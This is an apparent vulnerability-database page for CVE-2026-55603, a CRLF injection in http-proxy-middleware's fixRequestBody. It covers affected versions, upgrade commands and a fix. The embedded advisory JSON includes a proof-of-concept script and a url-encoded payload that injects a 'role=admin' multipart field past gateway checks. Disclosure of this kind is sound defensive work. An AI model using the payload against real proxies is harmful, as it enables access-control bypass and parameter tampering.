CVE-2026-55603: http-proxy-middleware Multipart/form-data Field Injection Vulnerability
HIGHCVE-2026-55603 is a HIGH (CVSS 7.5) multipart/form-data field injection vulnerability (CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')) affecting http-proxy-middleware libraries in the npm ecosystem. The issue involves multipart/form-data field injection via unescaped crlf in `fixrequestbody`. Remediation is available by upgrading affected packages to version 3.0.7, 4.1.1.
CVE-2026-55603 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N).
How to Fix CVE-2026-55603
To remediate this vulnerability, upgrade all affected http-proxy-middleware dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install http-proxy-middleware@3.0.7
npm install http-proxy-middleware@4.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls http-proxy-middleware
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-55603, inspect your project dependencies using npm:
npm ls http-proxy-middleware
Analyze the terminal output to locate any version of http-proxy-middleware in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.7), your application is affected.
Note: The npm ls http-proxy-middleware command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection'), where the product uses crlf (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes crlf sequences from inputs. In http-proxy-middleware, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55603 Affected http-proxy-middleware Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
http-proxy-middleware
|
npm |
≥ 3.0.4
< 3.0.7
|
3.0.7
|
|
http-proxy-middleware
|
npm |
≥ 4.0.0
< 4.1.1
|
4.1.1
|
References
Frequently Asked Questions
What is CVE-2026-55603?
Which http-proxy-middleware versions are affected?
What version fixes CVE-2026-55603?
Is http-proxy-middleware affected?
What is the CVSS score of CVE-2026-55603?
What CWE is associated with CVE-2026-55603?
How can I check npm dependencies for CVE-2026-55603?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gcq2-9pq2-cxqm",
"modified" : "2026-06-18T13:06:21Z",
"published" : "2026-06-18T13:06:21Z",
"aliases" : [ "CVE-2026-55603" ],
"summary" : "http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`",
"details" : "## Summary\n`fixRequestBody()` is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the **outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the body with `handlerFormDataBodyData()`, which interpolates each `req.body` key and value directly into the multipart wire format **without neutralizing CR/LF**:\n\n```js\n// dist/handlers/fix-request-body.js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key}\"\\r\\n\\r\\n${value}\\r\\n`;\n }\n}\n```\n\nA `\\r\\n` inside a value (or key) lets an attacker close the current part and inject an **entirely new form part**. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on `req.body` is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.\n\nBy contrast, the sibling output branches are safe: `application/json` uses `JSON.stringify` (escapes control chars) and `application/x-www-form-urlencoded` uses `querystring.stringify` (percent-encodes). Only the multipart branch lacks escaping.\n\n## Preconditions \nAll three must hold; this narrows real-world exposure and is the basis for `AC:H`:\n1. The proxy app populates `req.body` with a **non-multipart** parser (`express.urlencoded`, `express.json`, or text) so an injected boundary in a value is **not** split on input.\n2. The proxied (outgoing) request is sent as **`multipart/form-data`** (e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs.\n3. The app calls `fixRequestBody` (the documented pattern for \"I body-parsed, now re-stream\"), and an attacker controls at least one body field value or key.\n\n> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is generally **not** exploitable for a *new-field* injection, because the proxy's multipart parser already splits the injected boundary, so `req.body` and the backend agree. The desync specifically requires a non-multipart input parser.\n\n## Impact\nWhen the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:\n- **Validation / access-control bypass** bypass gateway-side field checks (demonstrated below: a gateway that forbids `role=admin` is bypassed; backend grants admin).\n- **Parameter tampering** add or overwrite fields the backend trusts (IDs, flags, prices).\n- **File-part injection** inject a `filename=\"...\"` part into the upstream multipart stream.\n\n## Proof of Concept\n\n```js\n// npm i http-proxy-middleware@4.0.0 (Node ESM: save as minimal.mjs)\nimport { fixRequestBody } from 'http-proxy-middleware';\n\n// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.\n// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:\nconst req = { readableLength: 0, body: {\n user: 'alice\\r\\n--BB\\r\\nContent-Disposition: form-data; name=\"role\"\\r\\n\\r\\nadmin\\r\\n--BB--'\n}};\n\n// Minimal stand-in for the outgoing proxy request; capture what gets written.\nconst out = [];\nconst proxyReq = {\n h: { 'content-type': 'multipart/form-data; boundary=BB' },\n getHeader(n){ return this.h[n.toLowerCase()]; },\n setHeader(n,v){ this.h[n.toLowerCase()] = v; },\n write(d){ out.push(Buffer.from(d)); },\n};\n\nfixRequestBody(proxyReq, req); // library rebuilds the multipart body\nconsole.log(Buffer.concat(out).toString());\n```\n\nOutput: one input field becomes **two** parts; `role=admin` was injected via the unescaped CRLF:\n\n```\n--BB\nContent-Disposition: form-data; name=\"user\"\n\nalice\n--BB\nContent-Disposition: form-data; name=\"role\" <-- injected part; never present in req.body's keys\nadmin\n--BB--\n```\n\n`req.body` had a single key (`user`), so any gateway policy checking `req.body.role` passes, yet the backend's multipart parser receives `role=admin`. On the wire the attacker simply sends, as `application/x-www-form-urlencoded`: `user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name=\"role\"%0D%0A%0D%0Aadmin%0D%0A--BB--`\n\n## Remediation\nNeutralize CR/LF (and `\"`) in keys/values before interpolation, or build the body with a real multipart encoder (e.g. `FormData` / `form-data`) instead of string concatenation. Minimal fix:\n\n```js\nfunction handlerFormDataBodyData(contentType, data) {\n const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');\n const bad = /[\\r\\n]/;\n let str = '';\n for (const [key, value] of Object.entries(data)) {\n const v = String(value);\n if (bad.test(key) || bad.test(v)) {\n throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');\n }\n str += `--${boundary}\\r\\nContent-Disposition: form-data; name=\"${key.replace(/\"/g, '%22')}\"\\r\\n\\r\\n${v}\\r\\n`;\n }\n}\n```\n(Reject is preferable to silent stripping, to avoid masking malicious input.)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "3.0.4"
}, {
"fixed" : "3.0.7"
} ]
} ]
}, {
"package" : {
"ecosystem" : "npm",
"name" : "http-proxy-middleware"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.1.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/chimurai/http-proxy-middleware"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-93" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-18T13:06:21Z",
"nvd_published_at" : null
}
}